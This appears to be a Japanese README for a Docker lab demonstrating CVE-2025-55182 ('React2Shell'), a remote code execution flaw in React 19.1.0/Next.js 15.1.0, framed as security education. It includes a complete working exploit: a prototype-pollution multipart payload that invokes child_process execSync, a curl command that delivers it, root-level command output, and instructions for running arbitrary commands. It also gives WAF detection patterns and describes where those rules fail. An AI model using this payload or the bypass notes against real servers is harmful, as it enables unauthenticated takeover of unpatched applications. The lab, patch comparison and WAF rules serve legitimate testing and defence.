Dockerベースのテストラボ for CVE-2025-55182 (React2Shell) RCE脆弱性 (React 19.1.0/Next.js 15.1.0)。エクスプロイトスクリプト、NGINX/ModSecurityによるWAFバイパステスト、およびパッチ済みバージョンの比較を含む (セキュリティ教育用)。
⚠️ 警告: 実際に動作するリモートコード実行(RCE)脆弱性を含んでいます。
CVE-2025-55182 (React2Shell) 脆弱性テストのためのコンテナテスト環境です。
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSSスコア: 10.0 (CRITICAL)
影響: リモートコード実行 (RCE)
認証要件: なし
攻撃ベクタ: ネットワーク
$1:__proto__:then によるプロトタイプ汚染$Bプレフィックス)を介したアクセスchild_process を介したRCE// 攻撃ペイロード構造
{
"then": "$1:__proto__:then", // Object.prototype.then汚染
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Blob逆シリアル化トリガー
"_response": {
"_prefix": "悪意のあるコード", // 実行するコード
"_formData": {
"get": "$1:constructor:constructor" // Function constructorへのアクセス
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
すべてのコンテナが healthy 状態になるまで待つ必要があります(約1〜2分かかります)。
Windows (PowerShell):
# 方法1: PowerShellスクリプトを使用(推奨)
.\tests\exploit-working.ps1
# 方法2: Node.js直接実行
node tests\exploit-working.js
サーバーログからコマンド実行結果を確認できます:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ 推奨Windows:
# PowerShellスクリプト(推奨)
.\tests\exploit-working.ps1
# またはNode.js直接実行
node tests\exploit-working.js
実行内容:
テストされるコマンド:
whoami - 現在のユーザー (root)hostname - コンテナのホスト名pwd - 作業ディレクトリ (/app)id - フルユーザー情報uname -a - システム情報node --version - Node.jsバージョン# ペイロードファイル作成
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 攻撃送信
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# ログ実行確認
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
攻撃スクリプトを修正して任意のコマンドを実行できます:
// exploit-working.js ファイル内:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'アプリケーションディレクトリ一覧' },
{ name: 'env', cmd: 'printenv', desc: '環境変数出力' }
]
| ポート | サービス | Reactバージョン | 用途 | WAF状態 |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | 脆弱 - CVE-2025-55182テスト | ❌ 保護なし |
| 3001 | patched-app | 19.1.2 | 安全 - パッチ効果検証 | ✅ パッチ済み |
| 8080 | nginx → vulnerable | 19.1.0 | WAFテスト (NGINX) | ⚠️ 制限あり(body未検査) |
| 8081 | apache → vulnerable | 19.1.0 | WAFテスト (ModSecurity) | ⚠️ 制限あり(405応答) |
| 8082 | nginx → patched | 19.1.2 | 二重保護テスト | ✅ パッチ済み |
# 動作する攻撃を実行
node tests/exploit-working.js
# 予想結果: コマンド実行成功
# 出力: ユーザー情報、システム詳細など
Windows (PowerShell):
# PowerShellスクリプトを使用
.\tests\exploit-working.ps1 -Port 3001
予想結果: 攻撃失敗 (React 19.1.2が攻撃をブロック)
Windows (PowerShell):
# NGINX WAFを通じた攻撃試行
.\tests\exploit-working.ps1 -Port 8080
予想結果: WAFルールによりブロック
場所: nginx/nginx.conf
検出パターン:
__proto__, constructor:constructor$X:__proto__, $B参照child_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorブロック動作:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
場所: apache/modsecurity-rules.conf
ルールID範囲: 100001-100017
主要ルール:
__proto__検出# NGINXブロックテスト
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 予想応答: HTTP 403
# ModSecurityブロックテスト
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 予想応答: HTTP 403
# NGINXセキュリティログ
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity監査ログ
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
重要: 現在のWAF構成には以下の制限があります:
multipart/form-data bodyに含まれており検出されないNext-Action ヘッダーが必要であり、このヘッダーだけでは十分な保護は不可実際の攻撃防御: